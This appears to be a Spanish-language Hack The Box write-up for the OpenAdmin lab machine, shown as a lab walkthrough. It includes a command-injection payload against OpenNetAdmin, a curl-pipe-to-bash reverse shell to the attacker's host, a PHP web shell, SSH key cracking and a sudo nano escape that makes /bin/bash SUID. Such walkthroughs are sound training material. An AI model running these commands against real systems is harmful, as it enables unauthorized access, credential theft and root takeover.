HTB_OpenAdmin
OpenAdmin {-}
Introduccion {-}
La maquina del dia se llama OpenAdmin.
El replay del live se puede ver aqui
No olvideis dejar un like al video y un commentario…
Enumeracion {-}
Reconocimiento de maquina, puertos abiertos y servicios {-}
Ping {-}
ping -c 1 10.10.10.171
ttl: 63 -> maquina Linux
Nmap {-}
nmap -p- --open -T5 -v -n 10.10.10.171
Va lento
nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.171 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p22,80 10.10.10.171 -oN targeted
Puerto | Servicio | Que se nos occure? | Que falta? |
---|---|---|---|
22 | tcp | Conneccion directa | creds |
80 | tcp | Web, Fuzzing |
Analyzando la web {-}
Whatweb {-}
whatweb http://10.10.10.171
Es un Apache 2.4.29 en un Ubuntu.
Checkear la web {-}
Si entramos en la url http://10.10.10.171
, Vemos la Apache2 default page.
Fuzzing con WFuzz {-}
wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.171/FUZZ
Vemos un directorio /arcwork
que no nos muestra gran cosa. Tambien vemos un directorio /music
y vemos que el login nos lleva a un directorio
/ona
Pinchamos y llegamos a un panel de administracion de opennetadmin
Vulnerability Assessment {-}
opennetadmin {-}
searchsploit opennetadmin
Aqui vemos un exploit en bash para para el opennetadmin 18.1.1 y en la web estamos frente a uno de esta misma version
searchsploit -x 47691
Vemos que es un simple oneliner que envia con curl una peticion por POST. Intentamos con un whoami
curl -s -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";whoami;echo \"END\"&xajaxargs[]=ping" "http://10.10.10.171/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1 | html2text
Vemos que esto funcciona sin problemas. Intentamos ver si tenemos conectividad con la maquina.
-
Lanzamos un servidor web con python
python -m http.server 80
-
Lanzamos una peticion curl a nuestra maquina
curl -s -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";curl 10.10.14.8;echo \"END\"&xajaxargs[]=ping" "http://10.10.10.171/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
Como hemos recibido la peticion get, intentamos ganar accesso al systema.## Vuln exploit & Gaining Access {-}
Ganando accesso con curl al opennetadmin {-}
-
Nos ponemos en escucha por el puerto 443
nc -nlvp 443
-
Creamos un fichero index.html con codigo bash
#!/bin/bash bash -i >& /dev/tcp/10.10.14.8/443 0>&1
-
Creamos un servidor web con python
python -m http.server 80
-
Lanzamos el curl con reverseshell
curl -s -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";curl 10.10.14.8|bash;echo \"END\"&xajaxargs[]=ping" "http://10.10.10.171/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
Ya hemos ganado accesso al systema.
Tratamiento de la TTY {-}
script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash
stty -a
stty rows <rownb> columns <colnb>
User Pivoting {-}
ls
grep -r -i -E "user|pass|key|database"
grep -r -i -E "user|pass"
cd /home
find \-name user.txt 2>/dev/null
find \-name user.txt
id
sudo -l
cd /var/www
ls -la
cd internal
cd /opt/ona/www
ls
find \-type f 2>/dev/null | grep "config"
Aqui no hemos podido entrar en los directorios de los usuarios, y en el directorio internal del /var/www
. Hemos visto
quel directorio /var/www/ona
era un link symbolico a /opt/ona/www
y buscando por archivos conteniendo config en su nombre,
hemos caido en un fichero database_settings.inc.php
que contiene credenciales.
grep "sh$" /etc/passwd
su jimmy
Password:
Hemos podido conectarnos como el usuario jimmy pero la flag no esta en su directorio de usuario. Parece que tenemos que convertirnos en el usuario joanna.
id
Aqui vemos quel usuario es parte del grupo internal. Miramos lo que hay en el directorio /var/www/internal
cd /var/www/internal
ls -la
cat main.php
Vemos que en la web de internal se podria ver el id_rsa de joanna. Miramos la configuracion de esta web
cd /etc/apache2/sites-available
cat internal.conf
Aqui vemos que hay una web montada en local por el puerto 52846. Lo mas interesante aqui es quel usuario joanna a sido asignada como AssignUserID de este servicio. Intentamos comprometer este servicio, directamente desde la maquina victima.
cd /var/www/internal
curl localhost:52846
Aqui vemos que podemos acceder a la web internal.
-
creamos un nuevo fichero s4vishell.php
<?php system("whoami"); ?>
-
lanzamos una peticion get a este fichero
curl localhost:52846/s4vishell.php #Output joanna
En el fichero main.php
vemos que hace un echo de la id_rsa de joanna. Lo miramos con curl
curl localhost:52846/main.php
copiamos la key en un fichero joanna_rsa en nuestra maquina de ataquante y nos connectamos con ssh
chmod 600 joanna_rsa
ssh joana@10.10.10.171 -i joanna_rsa
Aqui vemos que la id_rsa esta protegida por una contraseña. Crackeamos la llave.
Crackeamos la id_rsa con ssh2john {-}
/usr/share/john/ssh2john.py joanna_rsa > hash
john --wordlists=/usr/share/wordlists/rockyou.txt hash
Aqui ya tenemos la contraseña de la id_rsa de joanna y nos podemos conectar
ssh -i joanna_rsa joanna@10.10.10.171
Enter passphrase
y ya podemos leer la flag.
Privilege Escalation {-}
Rootear la maquina {-}
id
sudo -l
Aqui vemos que podemos ejecutar nano /opt/priv como el usuario root sin proporcionar contraseña.
sudo -u root nano /opt/priv
Ctrl+r
Ctrl+x
chmod 4755 /bin/bash
Enter
Ya podemos ver que la /bin/bash
tiene privilegios SUID y que podemos convertirnos en root para leer la flag
ls -la /bin/bash
bash -p
whoami
#Output
root